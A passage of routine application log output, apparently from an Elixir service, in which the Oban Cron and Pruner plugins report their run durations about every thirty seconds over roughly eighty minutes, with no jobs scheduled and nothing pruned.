{"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:07.987 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:37.989 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.389 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:07.991 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:37.993 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.390 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:07.995 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:37.997 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.391 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:07.999 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:38.001 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.392 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:08.003 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:38.005 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.393 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:08.007 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:38.009 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.394 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:08.011 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:38.013 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.395 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:08.015 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:38.017 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.396 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:08.019 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:38.021 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.397 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:08.023 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:38.025 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.398 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:08.027 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:38.029 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.399 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:08.031 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:38.033 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.400 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:08.035 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:38.037 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.401 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:08.039 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:38.041 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.402 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:08.043 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:38.045 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.403 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:08.047 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:38.049 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.404 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:08.051 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:38.053 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.405 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:08.055 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:38.057 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.406 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:08.059 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:38.061 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.407 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:08.063 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:38.065 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.408 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:08.067 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:38.069 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.409 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:08.071 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:38.073 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.410 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:08.075 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:38.077 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.411 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:08.079 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:38.081 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.412 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:08.083 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:38.085 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.413 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:08.087 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:38.089 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.414 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:08.092 [info] {"source":"oban","duration":1910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:38.094 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.415 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:08.096 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:38.098 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.416 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:08.100 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:38.102 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.417 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:08.104 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:38.106 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.418 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:08.108 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:38.110 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.419 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:08.112 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:38.114 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.420 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:08.116 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:38.118 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.421 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:08.120 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:38.122 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.422 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:08.124 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:38.126 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.423 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:08.128 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:38.130 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.424 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:08.132 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:38.134 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.425 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:08.136 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:38.138 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.426 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:08.140 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:38.142 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.427 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:08.144 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:38.146 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.428 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:08.148 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:38.150 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.429 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:08.151 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:38.154 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.430 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:08.156 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:38.158 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.431 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:08.160 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:38.162 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.432 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:08.164 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:38.166 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.433 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:08.168 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:38.170 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.434 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:08.172 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:38.175 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.435 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:08.177 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:38.179 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.436 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:08.181 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:38.183 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.437 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:08.185 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:38.187 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.438 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:08.189 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:38.191 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.439 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:08.193 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:38.195 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.440 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:08.198 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:38.200 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.441 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:08.202 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:38.204 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.442 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:08.206 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:38.208 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.444 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:08.210 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:38.212 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.445 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:08.214 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:38.216 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.446 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:08.218 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:38.220 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.447 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:08.222 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:38.224 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.448 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:08.226 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:38.228 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.449 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:08.230 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:38.232 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.450 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:08.234 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:38.236 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.451 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:08.238 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:38.240 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.452 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:08.242 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:38.244 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.453 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:08.246 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:38.248 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.454 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:08.250 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:38.251 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.455 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:08.254 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:38.256 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.456 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:08.258 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:38.260 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.457 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:08.262 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:38.264 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.458 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:08.266 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:38.268 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.459 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:08.270 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:38.272 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.460 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:08.274 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:38.276 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.461 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:08.278 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:38.280 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.462 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:08.282 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:38.284 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.463 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:08.286 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:38.288 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.464 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:08.290 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:38.291 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.465 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:08.294 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:38.296 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.466 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:08.298 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:38.300 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.467 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:08.302 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:38.304 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.468 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:08.306 [info] 